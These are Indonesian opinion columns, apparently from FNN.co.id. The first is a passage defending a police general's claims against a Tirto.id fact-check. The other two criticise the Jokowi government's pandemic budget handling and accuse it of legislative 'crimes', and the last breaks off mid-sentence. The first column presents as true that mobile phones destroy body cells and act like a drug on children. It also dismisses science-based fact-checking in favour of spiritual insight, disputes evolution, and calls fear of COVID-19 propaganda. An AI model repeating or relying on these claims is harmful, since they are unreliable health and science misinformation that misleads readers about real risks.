lain, tidak semua referensi atau jurnal-jurnal ilmiah yang ditulis berbagai kalangan pakar di dunia ini bisa ditemukan melalui mesin pencari di internet. Kalau pun ada mungkin tidak dijadikan referensi oleh para fact-chekers yang ditunjuk oleh pihak Facebook dengan berbagai alasan. Ini yang jadi pertanyaan saya, apakah sudah melakukan riset referensi atau kajian ilmiah dengan cara selain googling? Dalam dua dekade terakhir sudah banyak kalangan cendekiawan atau pakar menulis jurnal atau buku tentang bahaya dari ‘globalisasi” - di mana teknologi informasi dan komunikasi, internet, medsos, gadget dan smartphone sebagai produk turunan dari globalisasi - dinilai sebagai ancaman bagi kehidupan manusia. Tapi jurnal-jurnal yang skeptis terhadap globalisasi ini memang sulit ditemukan via googling. Karena selain kajian mereka diproduksi dalam bentuk barang cetakan berupa buku atau kajian ilmiah, bisa jadi apa yang mereka unggah sudah dihilangkan dari internet. Siapa Penguasa Informasi di Dunia Maya? Meskipun internet beroperasi dunia maya, sudah pasti penguasanya hidup di dunia nyata. Mereka inilah yang berwenang mengontrol segala informasi yang diposting warga dunia melalui jaringan internet yang sudah menjangkau hampir seluruh permukaan bumi. Siapa penguasa internet? Memang tidak tunggal. Pasti ada beberapa dan mereka inilah yang membangun oligarki lintas negara melalui dunia maya sehingga lahir kesepakatan global bahwa pembatasan-pembatasan di dunia harus ditembus oleh internet. Bahasa keren mereka, internet bertujuan membentuk dunia tanpa batas alias borderless. Sekarang coba kita googling satu kalimat “who owns internet?” Paling-paling kita menemukan jawaban diplomatis dari mereka, “Its owner is humanity itself.” Memang ada beberapa media yang menyebut di A, B, C dan seterusnya sebagai pemilik internet di berbagai negara. Tapi umumnya mereka menyebut dengan kata konon atau kabarnya. Karena penguasa internet di dunia ini memang misterius. Tapi sudah menjadi rahasia umum bahwa penguasa di internet adalah elite global, di mana pemilik Facebook adalah salah satu anggota dari oligarki tersebut. Secara kasat mata, mereka hanyalah pebisnis. Tapi apakah mereka cuma punya kepentingan bisnis? Kalau cuma mau berbisnis, mengapa mereka membiarkan konten-konten tentang kekerasan, pornografi, hedonisme, materialime dan semua konten-konten yang bertentangan dengan moral kehidupan begitu masih berserakan di dunia maya, termasuk di medsos? Memahami Cara Berfikir Dharma Dharma Pongrekun sendiri sebenarnya sudah menulis buku berjudil “Indonesa Dalam Rekayasa Kehidupan - Sebuah Perenungan Anak Bangsa Dalam Menghadapi Globalisasi”. Buku ini diterbitkan pada Oktober 2019 melalui jaringan Gramedia dan sekarang sudah sulit ditemukan di pasaran. Dalam buku tersebut ia menulis paniang lebar tentang globaliasi dari asal usulnya, ancaman-ancaman yang ditimbulkan sampai pada solusi bahwa rakyat Indonesia harus mendekatkan diri kepada rasa keimanan kepada Tuhan Yang Maha Esa. Dalam buku tersebut, Dharma menyatakan bahwa teknologi informasi dan komunikasi - yang mana gadget dan smartphone sebagai produk turunannya - adalah alat yang didesain oleh dari elite global untuk memanipulasi pola pikir manusia agar menjadi atheis. Makna atheis dalam konteks ini adalah ketika manusia lebih mendewakan teknologi dan informasi sebagai sumber kebenaran dan di sisi lain meninggalkan wahyu-wahyu Tuhan sebagai sumber kebenaran. Dalam buku tersebut Dharma mengatakan akibat kemajuan teknologi informasi dan komunikasi yang didorong oleh para globalis itulah menusia sekarang cenderung mencari kebenaran dan mencari eksistensi diri di dunia maya. Keadaan ini mengakibatkan munculnya Tuhan baru di dunia maya. Padahal, sejatinya Tuhan hanya ada satu. Kalau ada Tuhan di dunia maya, menurut pandangan Dharma berarti dia adalah iblis yang sejak diturunkan ke dunia ini kerjanya memang memanipulasi pola pikir manusia agar menjauh dari rasa keimanan kepada Tuhan. Karena sudah membaca buku ini saya sendiri memahami apa latar belakang Dharma memposting gambar dan narasi yang dinyatakan “false information” oleh onwner Instagram itu. Buku itu memang tidak memakai referensi dari apa pun melainkan dari hasil perenungan pribadi ia tulis sendiri dan kemudian dibukukan. Jadi memang banyak istilah dan argumentasi dalam buku tersebut yang tidak bisa kita temukan via googling. Dharma sendiri menyebut dunia maya adalah dunia manipulasi. Jadi dia tidak mau mencari istilah atau referensi dari internet untuk bukunya tersebut. Tapi jangan lupa, Dharma bukan orang tidak berpendidikan. Dia master di bidang hukum dan punya jam terbang tinggi dalam reserse kriminal. Anggota reserse yang sering melakukan olah Tempat Kejadian Perkara (TKP) sudah terlatih membangun instingnya untuk mengambil kesimpulan cepat terhadap suatu keadaan yang dia lihat dan dengar dengan mata dan telinganya sendiri. Mereka tahu apakah seseorang berbohong hanya dengan melihat sorot mata atau kerutan di dahi seseorang. Seorang Dharma berpikiran kristis dan sering berbeda pandangan dengan kebanyakan orang awam tentang sesuatu keadaan, harusnya menjadi satu pertimbangan bagi Tirto.Id untuk memberi penilaian terhadap postingannya. Tapi hal ini ternyata tidak dilakukan sama sekali. Fact-Chekers Yang Ideal Apa itu review? Review adalah suatu penilaian terhadap suatu fakta yang memungkinkan untuk dinilai kembali jika ditemukan fakta baru. Sedangkan fakta adalah sesuatu yang tertangkap oleh indera manusia atau suatu keadaan yang sudah terbukti kebenarannya secara umum. Jadi penilaian dari seorang atau lembaga pemeriksa fakta, adalah sebuah laporan berdasarkan pengamatan langsung atau berdasarkan pembuktian yang sudah teruji kebenarannya dan memungkinkan dilakukan penilaian baru jika ditemukan fakta baru. Artinya seseorang fact-checkers sejati tidak boleh berhenti pada suatu fakta yang baru pertama kali dia temukan. Dia harus menggali dan terus menggali sedalam-dalamnya hingga menemukan fakta-fakta baru. Dalam dunia jurnalistik kita harus melakukan updating news. Ini memang melelahkan tapi ini adalah bentuk pertanggungjawaban kita dalam peran penyebaran informasi publik. Dalam sebuah kolom di iNews.id yang terbit 31 Agustus 2020, seorang staf pengajar dan peneliti dari Fakultas Ilmu Komputer Universitas Indonesia, Bob Hardian, PhD., menulis sebuah artikel menarik berjudul “Beyond Scientific” yang menggugah bagaimana kita seharusnya mencari kebenaran yang hakiki. Berikut artikelnya yang saya copy paste di bawah ini dalam huruf italic. Kemanusiaan secara fundamental dan tidak sengaja telah memengaruhi pergeseran alam. Tetapi para ilmuwan yang paling memahami pergeseran ini biasanya hanya menggunakan bahasa sains dan penalaran (reasoning) dengan menggunakan data serta model untuk menjelaskannya. Kadang ketergantungan yang berlebihan pada sains dan penalaran membuat sulit untuk berkomunikasi dengan masyarakat umum. Hal itu juga membutakan kita terhadap cakupan penuh masalah yang kita hadapi sekarang, yang hanya dapat dipahami sepenuhnya melalui perspektif emosional, budaya, etika, dan spiritual di dunia. Menyisakan Ruang untuk yang Misterius dan Tidak Bisa Dijelaskan Fisikawan teoretis terkenal Albert Einstein pernah berkata, “Logika akan membawa Anda dari A ke Z; imajinasi akan membawamu kemana-mana." Memang, misteri memberi kita kesempatan untuk membayangkan hal-hal yang tidak realistis atau konyol dalam kehidupan kita sehari-hari. Seringkali, anak-anak suka mendengar cerita imajinatif dan bermain pura-pura dalam rangka melatih imajinasi mereka. Manusia dan alam merupakan hal yang banyak mengandung misteri yang belum bisa semuanya dibahas secara scientific. Banyak hal yang susah untuk dijelaskan secara sains dan textbook. Penalaran ilmiah bergantung pada data dan analisis, namun ada banyak hal di dunia ini yang tidak dapat diukur. Misalnya, seseorang tidak dapat memberikan data yang membuktikan besaran cinta terhadap manusia lain, hubungan spiritual dengan alam, rasa panggilan atau kehadiran Tuhan itu ada. Namun, banyak sekali orang yang percaya atau bahkan tahu bahwa itu ada. Seringkali pembahasan melalui sudut pandang spiritual dan supranatural sepertinya kelihatan bertentangan dengan padangan scienctific dan textbook. Orang sering melakukan pembahasan dalam ranah misteri menggunakan istilah-istilah teknikal atau istilah yang sudah dipahami dalam sains sebelumnya. Penggunaan istilah-istilah teknikal ini sering membuat rancu yang kelihatannya seperti berusaha meredefinisi istilah-istilah yang sudah terdefinisi dengan baik. Seringkali penggunaan istilah tersebut hanya sebatas analogi dalam menjelaskan konteks spiritual dan supranatural. Terkadang sulit untuk mencari padanan teknikal di ruang bahas spritual dan supranatural. Ruang bahas spiritual dan supranatural seringkali kelihatannya tidak nyambung (disconnected) dengan ruang bahas sains. Penalaran ilmiah berusaha menjelaskan semua fenomena melalui kata-kata dan angka-angka. Namun ada banyak pengalaman yang menentang artikulasi, sebagai contoh, pianis klasik atau atlet profesional sering kali mengalami kesulitan besar untuk mengungkapkan esensi pengalaman mereka saat menyempurnakan keahlian mereka. Jadi, sementara sains dapat terus maju dalam mengeksplorasi yang rasional di manusia dan alam, dengan menganalisis sistem alam melalui model "big data" menggunakan feedback loop, dan ketidak-linier-an yang beroperasi di dalamnya, ia juga harus menyisakan ruang untuk hal-hal yang misterius dan tidak dapat dijelaskan. Kita juga melatih kerendahan hati terhadap yang tidak dan mungkin tidak pernah tahu kerumitan (complexity) penuh dari semuanya itu. Artikel dari Bob Hardian tersebut dalam sekali maknanya. Intinya manusia dan alam merupakan hal yang banyak mengandung misteri yang belum bisa semuanya dijelaskan secara sains dan textbook. Padahal banyak kebenaran yang justru kita dapatkan dari sumber yang bersifat non-fisik, yaitu dari perspektif emosional, budaya, etika, dan spiritual. Saya sendiri melihat metode pemeriksaan fakta yang dilakukan Tirto.ID terhadap istilah dan penyataan yang digunakan Dharma dalam postingannya itu semata-mata masih mengantungkan pencarian kebenaran berdasarkan kajian sains, textbook, dan sepertinya melalui mesin pencarian informasi di internet. Ada memang seorang pakar yang dimintai keterangan oleh Tirto.ID. Tapi bukankah pakar lain belum tentu berpendapat sama dengan pakar tersebut. Apakah Dharma dengan track-recordnya di dunia kepolisian dan jabatannya sekarang ini bukan tergolong pakar? Saya amati Tirto.ID melulu mempertanyakan bukti ilmiah dan referensi yang digunakan Dharma. Tapi di sisi lain saya melihat Dharma adalah pemikir yang yang tidak suka mengutip referensi dari sumber manapun bahkan saya tidak menemukan catatan-catata kaki (footnote) dalam bukunya itu. Menurut Dharma apa yang ia tulis dalam bukunya maupun narasi yang dia sampaikan dalam postingan-postingan di akun instagramnya itu merujuk pada wahyu-wahyu Ilahi dalam kitab suci dan berdasarkan hikmat yang ia peroleh sebagai mahluk yang berinteraksi langsung dengan Tuhan. Dari situlah Dharma mengenal “ilmu melihat udang di balik batu”. Yaitu bagaimana mencari kebenaran secara out of the box atau melihat kebenaran dengan mata rohani, bukan mata jasmani. Dari situlah menjadi jelas pangkalnya mengapa Tirto.ID sampai memberi penilaian bahwa postingan Dharma berisi konten Informasi Palsu dan Dharma bersikukuh bahwa informasinya adalah yang benar. Tirto mencari kebenaran secara fisik, sedangkan Dharma mencari kebenaran secara non-fisik. Dua metode menemukan fakta yang berbeda ini sudah tentu bisa menemukan hasil yang kontradiktif. Sekarang tergantung kita mau menganut metode yang mana. Menurut saya kebenaran berdasarkan sains atau text book adalah suatu kebenaran semu karena hanya mengandalkan kecerdasan manusia. Padahal kita tahu pikiran setiap setiap manusia bisa ter-framing oleh kondisi-kondisi lingkungan atau latar belakang primordialnya. Dalam kenyataannya banyak kita temukan sebuah kajian ilmiah dibuat oleh sebuah kelompok atas rezim dengan niat menutupi suatu fakta yang sebenarnya alias berbohong agar dapat menyesatkan pikiran orang banyak. Salah satunya yang paling kontroversial saat ini adalah sebuah kajian ilmiah yang melahirkan suatu teori yang masih kontroversial hingga saat ini yang menyatakan manusia berasal dari simpanse (kera). Secara fisik memang betul manusia mirip dengan kera. Bahkan berdasarkan berbagai kajian ilmiah paling terbaru manusia memiliki kesamaan DNA antara 98 hingga 99,6 dengan beberapa jenis kera. Tapi menurut Al-Quran dan Alkitab, manusia adalah keturuan Adam dan Hawa, yaitu dua manusia yang diciptakan Tuhan di surga dan kemudian diturunan ke bumi hingga baranak cucu hingga sekarang. Sekarang tergantung manusianya sendiri, mau mempercayai hasil olah pikir manusia atau wahyu dari Tuhan? Penjelasan Istilah-Istilah Dalam kolom komentar di postingan Dharma itu saya melihat ada komentar dari seorang followernya.”Postingan ini dikasih label palsu oleh tirto.id pak jenderal.” Dharma menjawab,”Tenang saja menghadapi hal ini seperti itu. Kan semua aplikasi yang ada hanya digunakan memaksakan, bahwa kebenaran absolut hanya monopoli pemiliknya. Kita semua hanya menjadi objek saja untuk kepentingan agendanya kok. Salam hormat untuk anak bangsa yang cinta bangsa. Tetaplah berjalan dalam kebenaran walau sendiri! Kita bangsa mandiri kok!’ Artinya Dharma bersikukuh postingannya itu tidak salah dan dia tidak akan menghapus postingannya tersebut. Sekarang saya mencoba membikin perbandingan tentang istilah teknis yang dipersoalkan Tirto.ID dengan penjelasan langsung Dharma kepada saya. Menurut Tirto.ID, cellular phone atau smartphone adalah telepon yang dapat digunakan di mana saja karena beroperasi melalui signal radio. Sedangkan menurut Dharma, cellular phone adalah alat yang tanpa disadari akan meruskan sel-sel tubuh manusia. Sedangkan smartphone artinya bukan alat yang membuat manusia pintar tetapi justru mengendalikan manusia dengan mudah dan cepat. Menurut Tirto.ID, gadget atau gawai merupakan peranti elektronik atau mekanik dengan fungsi praktis. Menurut Dharma, gawai berasal dari bahasa Melayu yang artinya alat dan orang yang menggunakannya disebut pegawai. Menurut Tirto.ID, network atau jaringan adalah sebuah sistem besar yang terdiri dari banyak bagian serupa yang dihubungkan untuk memungkinkan pergerakan atau komunikasi antara, atau sepanjang bagian, atau antara bagian dan pusat kendali. Menurut Dharma, network adalah jaringan untuk menjerat manusia yang menggunakannya. Dalam hal ini ia mengingatkan istilah “www’ atau world wide web yang membawa kita berimajinasi kepada struktur jaringan yang dibuat laba-laba untuk menjerat mangsanya. Menurut Tirto.ID, bad vibes adalah semua perasaan tidak nyaman, gelisah, dan tidak aman. Menurut Dharma, bad vibes ada gelombang yang memancarkan efek buruk kepada sel tubuh manusia. Menurut Tirto.ID, attack adalah mencoba menyakiti atau mengalahkan menggunakan kekerasan. Menurut Dharma, attack adalah serangan yang diprogram untuk menggempur sel-sel tubuh manusia. Menurut Tirto.ID, automation adalah penggunaan mesin dan komputer yang dapat beroperasi tanpa memerlukan kendali manusia. Menurut Dharma, automation adalah bagi yang menggunakan gawai terus menerus akan menjadi blo’on sel-sel tubuhnya. Menurut Tirto.ID, slow response berarti lamban. Menurut Dharma, slow response artinya akibat dari gempuran terus menerus dari gelombang pada cellular phone terhadap tubuh manusia, sel-sel tersebut menjadi blo’on. Menurut Tirto.ID, mindset manipulation bisa disebut juga mental manipulation yang berarti mengerahkan pengaruh yang cerdik atau licik terutama untuk keuntungan diri sendiri. Menurut Dharma, mindset manipulation adalah aplikasi dan konten di dalam gadget yang didesain untuk mempermudah memanipulasi pola pikir manusia. Menurut Tirto.ID, malware adalah perangkat lunak komputer yang dirancang untuk merusak cara kerja komputer. Menurut Dharma, malware adalah virus yang digunakan untuk melemahkan. Menurut Tirto.ID, body intelligence adalah kemampuan tubuh untuk beradaptasi dengan tantangan baru dari lingkungan dalam/luar dengan memahami dan menyadari sinyal tubuh dan dengan modalitas respons khusus. Menurut Dharma, body intelligence adalah kecerdasan tubuh. Menurut Tirto refocusing adalah mengembalikan fokus. Menurut Dharma, refocusing adalah manusia seharusnya fokus kepada Tuhan, tapi akibat adanya gadget atau smartphone, fokus manusia terpusat kepada alat tersebut yang menyibukan kehidupan sehari-hari manusia. Jadi memang ada perbedaan definisi sangat mendasar antara Tirto.ID dan Dharma terhadap istilah-istilah teknis tersebut. Dalam hal ini Tirto.ID menilai alat yang disebut gagdet atau cellular phone atau smartphone tidak berbahaya atau berdampak terhadap tubuh manusia. Sedangkan Dharma menilai sebaliknya. Untuk mengatasi perbedaan ini menurut saya Tirto.ID dan Dharma bertemu langsung untuk saling membuktikan argumentasi masing-masing. Ada kesan kuat Tirto.ID dalam memberi penilaian terhadap pernyataan dan istilah yang dipakai Dharma hanya berdasarkan referensi via googling. Sebagai contoh, Tirto.ID menyatakan “jika ditelisik satu-persatu, istilah-istilah yang digunakan akun Dharma tampak kurang tepat penggunaannya. Sel-sel tubuh, misalnya, tidak sama dengan cellular phone.” Nah, pertanyaan saya, apakah Tirto.ID sudah menelisik asal usul mengapa alat tersebut dinamakan cellular phone? Istilah celluler sudah jelas asal-usulnya dari kata cell (sel) yang terminiloginya bersumber dari ilmu biologi yang menjelaskan tentang sistem satuan-satuan terkecil pada tubuh mahluk hidup. Pada tubuh manusia ada sel-sel berupa hormon atau zat yang dibentuk oleh bagian tubuh tertentu serta memiliki pengaruh terhadap aktivitas sel-sel tubuh yang lain. Hormon-hormon ini dihasilkan baik oleh otak maupun di luar otak (pankreas, kelenjar tiroid, adrenal, dan organ reproduksi). Kajian ilmiah yang membuktikan adanya hubungan sebab akibat antara gelombang electromagnetik yang dipancarkan oleh cellular phone terhadap tubuh manusia sebetulnya sudah banyak dibuat oleh para pakar di seluruh dunia. Tapi sebetulnya kita juga bisa melakukan pembuktikan sendiri. Sebagai contoh, anak balita yang sedang menangis bisa langsung tenang begitu diberikan mainan smartphone oleh orang tuanya. Tapi begitu smartphone tersebut diambil, anak tersebut menangis lagi. Bagaimana kita menjelaskan fenomena ajaib ini kalau bukan mencurigai adanya gelombang tertentu yang memiliki efek mirip candu di dalam smarphone tersebut? Menurut hemat saya, pencipta cellular phone siapa pun dia, sejak awal sengaja memberi nama alat itu dengan istilah cellular dengan maksud mengingatkan para penggunanya bahwa alat ini berpengaruh terhadap sel-sel pada tubuh manusia. Tapi kita abai dan langsung menerima kehadiran alat ini dengan suka cita tanpa memperhitungkan dampaknya. Lalu istilah smartphone. Mengapa disebut telepon cerdas? Menurut saya, alat ini sengaja didesain dan diberi nama begitu oleh penciptanya untuk dapat mengantikan kecerdasan manusia. Dalam kenyataannya sekarang kita begitu bergantung dengan alat ini. Mau tidak mau dalam beraktivitas apa saja kita begitu mengandalkan alat ini. Buktinya kalau alat ini hilang kita mencar-carinya setengah mati. Kalau ketinggalan di rumah, kita pasti pulang untuk mengambilnya. Kita seperti mahluk yang merasa tidak punya kemampuan apa apa lagi tanpa memiliki alat ini. Hal-hal diluar nalar itulah yang tidak dijadikan bahan referensi oleh Tirto.ID. Dengan kata lain, Tirto.ID hanya melihat batunya saja, sementara Dharma berusaha melihat udang di balik batu tersebut. Saya bisa memahami mengapa dia sampai pada kesimpulan gadget atau cellular phone atau smarphone, berbahaya bagi tubuh manusia tak lain karena dia menggunakan ilmu melihat udang di balik batu itu. Coba saja googling asal usul penggunaan kata cellular phone, pasti kita tidak akan menemukan satupun referensi yang mengaitkannya alat ini dengan sistem sel pada tubuh manusia. Karena memang banyak fakta yang disembunyikan di dunia maya. Pada akhirnya kita sesungguhnya bisa mencari kebenaran sejati dengan mengandalkan kecerdasan spiritual. Saya sendiri sekarang sedang berlatih berhikmat agar bisa memahami “perkara-perkara” misterius yang semakin banyak terjadi di dunia sekarang ini. Tentang pandemi covid-19 misalnya. Banyak orang ketakutan setengah mati karena termakan propaganda bahwa virus ini sangat mematikan. Menurut pemahaman saya sebagai mahluk ciptaan Tuhan, tanpa kehadiran virus ini pun semua orang akan mati sesuai takdirnya. Penulis adalah Pemimpin Redaksi FNN.co.id

Pemerintahan Jokowi Semakin Rapuh

by Dr. Margarito Kamis, SH. M.Hum Jakarta FNN – Rabu (02/090. Fokus, sekali lagi fokus, teridentifikasi menjadi ciri paling menonjol pada setiap pemerintahan yang sedang dililit masalah-masalah krusial. Tahu penyebab terbesar dari masalah yang melilit negara, lalu menemukan pemecahan yang tepat. Begitulah yang ditampilkan oleh berbagai pemerintahan di dunia. Indonesia maupun di dunia Internasional menunjukannya. Tidak bisa diluar itu. Bekerja di luar kerangka itu, dipastikan masalah semakin tambah membesar. Pemerintahan akan rapuh dan semakin rapuh. Pemerintahan jenis ini akan menemui akhir yang menyakitkan. Pemerintahan Jokowi hari-hari ini terlihat sedang dan terus mengalami kerapuhan itu. Dari waktu ke waktu terlihat semakin dalam. Dari waktu ke waktu pemerintah ini terlihat sulit menemukan fokus permasalahan untuk menyelesaikan masalah. Faktual Sulit Yakinkan Rakyat Sri Mulyani Lempar Penyelesaian DIPA PEN ke Komite Covid-19. Ini judul berita CNN Indonesia tanggal 26/8/2020. Di dalamnya diuraikan, saya kutip secara lengkap. "PEN yang belum ada DIPA ditangani oleh Pak Menko, Pak Erick (Ketua Pelaksana Penanganan Covid-19 dan PEN), dan BNPB (Doni Monardo). Tapi kami dari Kemenkeu bantu sepenuhnya yang butuh tambahan DIPA," ujar Ani, sapaan akrabnya, saat konferensi pers virtual APBN Kita, Selasa (25/8). Dari pagu itu, Ibu Menteri ini menambahkan anggaran yang sudah terpakai baru mencapai Rp. 174,79 triliun per 19 Agustus 2020. Jumlah itu setara 25,1 persen dari pagu anggaran (Lihat CNN Indonesia, 26/8/2020). Sangat menarik. Siapa yang menurut hukum keuangan negara menyediakan DIPA? Diseberang dekat dengan Ibu Menteri, CNN Indonesia melansir pernyataan Airlangga Hartarto, Menteri Koordinator Bidang Perekonomian. Airlangga mengatakan realisasi penyerapan dana penanganan pandemi virus corona baru Rp. 182,55 triliun per 26 Agustus 2020. Ini artinya, pemerintah baru menggunakan dana tersebut sebesar 26,2 persen dari total alokasi yang sebesar Rp. 695,2 triliun. Dijelaskan lebih jauh "perkembangan sampai dengan hari ini 26 Agustus 2020 realisasi anggaran dari enam kelompok program PEN mencapai Rp. 182,55 triliun atau 26,2 persen," ungkap Airlangga dalam keterangan resmi, dikutip Rabu (26/2). Ia menjelaskan realisasi penyerapan meningkat cukup signifikan dari Juli dan Agustus 2020. Tercatat, penyerapan pada akhir semester I 2020 sebesar Rp. 124,62 triliun. Kemudian, total penyerapan pada Juli 2020 naik menjadi Rp. 147,67 triliun. Kami, Airlangga menambahkan, ingin memastikan bahwa semua alokasi anggaran sudah ada programnya. Sudah bisa dipastikan realisasinya. Kalau ada program yang berpotensi tidak terealisasi dan tidak terserap anggarannya, kami sudah siapkan beberapa usulan program baru dengan kriteria yang berdampak signifikan terhadap ekonomi. (Lihat CNN Indonesia, 26/8/2020). Begitulah postur otoritatif pemerintahan Jokowi mengelola anggaran corona dan pemulihan ekonomi nasional. Postur ini terlihat menjadi penyumbang terbesar Indonesia berada pada keadaan yang benar-benar tidak produktif. Hari demi hari, semakin menyusahkan. Resesi ekonomi menanti dengan pasti. Pemerintah tak bisa lagi menemukan argumen manis untuk meyakinkan rakyat. Keadaan ekonomi nyata yang begitu pahit, tak mungkin dilukiskan dengan kata-kata manis, apalagi optimisme. Kata para ekonom keadaan ekonom, postur ekonomi pada triwulan ketiga ini benar-benar menakutkan. Ditengah kenyataan itu, muncul lagi kenyataan lain yang tidak kalah pahit sekaligus merobek-robek akal sehat. Pertamina, perusahaan negara itu menderita kerugian sebesar Rp 11 triliun lebih. Pertamina memang sempat menyodorkan argumen justifikatif terhadap kenyataan itu. Sayangnya argumen Pertamina terlalu rapuh. Bahkan konyol untuk dapat diyakini oleh masyarakat. Beli minyak dengan harga murah, lalu jual dengan harga mahal, tetapi rugi, jelas tidak bisa diterangkan dengan logis. Tidak ada nalar yang dapat menerimanya. Begitulah postur faktual pemerintahan saat ini. Hanguskan Harapan Untuk Bangkit Apakah DIPA belum tercetak merupakan akibat dari kebijakan nilai tukar rupiah terhadap mata uang lainnya? Apakah DIPA belum tercetak, sehingga anggaran tidak bisa digunakan? Menggambarkan negara ini tidak punya uang? Tidakkah DIPA memiliki basis atau hanya dapat dirancang setelah program dan kegiatan tuntas tersedia? DIPA tidak pernah tidak berbasis program dan kegiatan kementerian atau lembaga atau Gugus Tugas, atau apapun itu. Itu sebabnya soal ini, tidak bisa dipecahkan dengan mengubah UU BI, OJK dan sejenisnya. Untuk alasan apapun, DIPA sama sekali tidak ada kaitannya dengan sistem keuangan. Tidak ada kaitannya dengan nilai tukar mata uang. DIPA selalu merupakan masalah teknis. Apa programnya, dan apa kegiatan dalam program itu. Itulah DIPA. Program dan kegiatan yang di-DIPA-kan inilah yang dibiayai dengan APBN. Membiayai program dan kegiatan itulah cara anggaran diserap, dibelanjakan atau digunakan. Praktis, serapan anggaran tidak ada kaitannya dengan sistem nilai tukar. Tidak ada hubungannya dengan jual-beli SUN. Ketidakmampuan menyediakan DIPA, tidak dapat disiasati dengan menyebar isu resufle misalnya. Soal ini juga tak dapat diatasi dengan menyebarkan berita-berita propaganda tentang ini dan itu. Sama sekali tidak. Melokalisir masalah dengan cara itu justru semakin menelanjangi kerapuhan pemerintahan ini. Ditengah keadaan sebagian DIPA belum tersedia, Menteri Keuangan mengeluarkan keputusan membagi-bagi pulsa untuk PNS yang bekerja dari rumah. Ini menarik. Mengapa? DIPA kementerian mana atau pada bagian mana pada DIPA Komite Penanganan corona dan PEN yang menyediakan kegiatan seperti itu? Akankah kebijakan ini bekerja segera setelah keputusan dibuat atau akan sama dengan kebijakan subsidi terhadap pekerja berpendapatan dibawah lima juta? Pekerja yang sampai saat ini datanya belum benar-benar tersedia? Sampai saat ini pemerintah melalui Menteri Erick Tohir masih meminta bantuan pengusaha menyetor nama calon penerima BLT. Termasuk mengimbau pekerja yang layak mendapat BLT, tetapi tdak punya rekening agar segera membuat rekening bank (CNN Indonesia, 2/9/2020). Terlalu rapuh, kebijakan telah diresmikan dan dilaksanakan, tetapi data yang diperlukannya belum juga tersedia utuh. Dilansir CNN Indonesia, (2/9/2020), sejauh ini baru 1,9 juta pekerja yang menerima Bantuan Langsung Tunai (BLT). Menariknya di tengah keadaan itu, pemerintah juga memproyeksi calon pekerja yang layak mendapat BLT. Kerapuhan dan tertatih-tatih, tanda lain dari pemerintah yang kehabisan gagasan. Kondisi itu semakin jelas menandai pemerintah ini. Tidak menyenangkan, bahkan mengkhawatirkan. Mengapa? Dalam kenyataannya corona terlihat belum akan berdamai dengan manusia dalam waktu dekat. Proyeksi pemerintah tentang penyediaan vaksin, sejauh yang dapat diverifikasi efektif tersedia dan direalisasikan pada awal 2021. Logikanya, tiga hingga empat bulan kedepan, Indonesia belum bisa keluar dengan leluasa dari lilitan corona. Efek mematikan ekonomipun akan terus menakutkan. Presiden harus menemukan, selain style baru kebijakan. Juga fokus dalam rincian. Jernih harus pandai dan membaca gelagat masalah juga mutlak dilakukan Presiden. Sebab Presiden harus dilarang untuk menutupi kerapuhan pemerintahan dengan cara-cara yang ditawarkan demokrasi urakan (menyebar isu, mengkapitalisasi isu-isu kecil). Itu sangat tak bermutu dan amatiran. Juga tidak berkelas sebagai kepala negara dan kepala pemerintahan. Cara itu justru semakin mempercepat bangsa ini tenggelam dalam masalah. Model itu terlalu kuno dan konyol untuk kondisi sekarang. Temukan fokus dan kebijakan yang rinci, supaya akan menjadi air yang mendinginkan kenyataan panasnya ekonomi. Apalagi fakta ekonomi yang kini kian menghanguskan kearifan. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Kejahatan Besar Sedang Terjadi di Indonesia

by Ubedilah Badrun Jakarta FNN – Rabu (202/09). Pada September 2019 lalu ratusan ribu mahasiswa, buruh dan rakyat jelata demonstrasi besar menolak pelemahan KPK. Hingga kini ada dua mahasiswa yang ditembak mati dalam demonstrasi tidak jelas proses hukumnya. Siapa saja pelaku penembakan? Masih kabur sampai sekarang. Nyawa mahasiswa seperti sampah yang tidak ada harganya di negeri ini. Tadinya saya mengira langkah-langkah jahat rezim seperti ini tidak lagi terjadi di Republik ini. Sebagai akademisi, saya berharap republik ini makin membaik menjalankan roda negara ke jalur demokrasi yang benar untuk membawa rakyat sejahtera. Negara yang menjunjung tinggi keadilan, menjunjung tinggi kemanusiaan, dan merawat harmoni. Namun semua perkiraan saya rupanya meleset. Hari demi hari harapan itu pupus seiring langkah rezim eksekutif berkolaborasi dengan rezim legislatif melakukan kejahatan sistemik. Kejahatan yang dibingkai regulasi, itulah kejahatan besar hari ini. Sebab secara sistemik kejahatan besar tersebut berbahaya bagi masa depan demokrasi. Berbahaya untuk masa depan kesejahteraan rakyat, masa depan keadilan, dan masa depan harmoni sosial kita sebagai bangsa. Saya mencatat, dalam waktu singkat kejahatan besar ini semakin sempurna. Kejahatan yang membawa republik ini ke arah jurang negara yang akan menyengsarakan rakyat dimasa depan. Merusak rantai dan tatanan demokrasi, serta membuat rakyat menderita ke depan. Secara akademik, kejahatan besar tersebut mesti dibuka. Harus dibongkar dengan argumen faktual, teoritik maupun dasar konstitusional yang kokoh. Setidaknya ada empat sektor kejahatan besar yang sudah dan sedang dilakukan oleh rezim saat ini. Diantaranya kejahatan dalam bidang Sosial Ekonomi, Sumber Daya Alam, Hukum, dan Politik. Namun demi efektifitas, narasi empat kejahatan tersebut hanya diurai pokok-pokoknya saja. Kejahatan Sosial Ekonomi Pemaksaan Rancangan Undang-Undang Omnibus Law Cipta Kerja yang dilakukan pemerintah bersama DPR. RUU Omnibus Law ini adalah kejahatan besar yang sangat menyolok dibidang sosial ekonomi. Selain prosedurnya yang minim pelibatan publik, korbannya akan menimpa pada jutaan buruh dan jutaan generasi milenial. Padahal mereka penentu masa depan republik ini. Pemerintah dan DPR terlihat tutup mata, tutup telinga dan tutup nurani terhadap masa depan dan penderitaan buruh. Juga terhadap masa depan generasi milenial. Soal yang tidak kalah pentingnya adalah kelestarian lingkungan yang berdampak pada jutaan rakyat jelata. Selain RUU Omnibus Law, pemerintah dan DPR juga sebelumnya menyetujui Perpu No 1 tahun 2020 menjadi Undang-Undang No 2 tahun 2020. UU yang hanya untuk menguntungkan oligarki, dan memberikan kekebalan pada semua kebijakan ekonomi pemerintah. Padahal meskipun bertentangan dengan UU Keuangan Negara, ugal-ugalan, dan pada akhirnya merugikan rakyat banyak. Rencana pembentukan Dewan Moneter yang diketuai Menteri Keuangan juga bentuk kejahatan baru. Bersembunyi dibalik regulasi. Saat ini sedang dibahas di DPR untuk merevisi Undang-Undang Bank Indonesia (BI). Pemerintah terlihat ngotot agar Dewan Moneter dibentuk dengan kekuasaan dan wewenangnya di atas Bank Indonesia (BI). Dewan Moneter harus memiliki kekuasaan mengontrol Bank Indonesia. Ini bentuk kejahatan yang direncanakan oleh 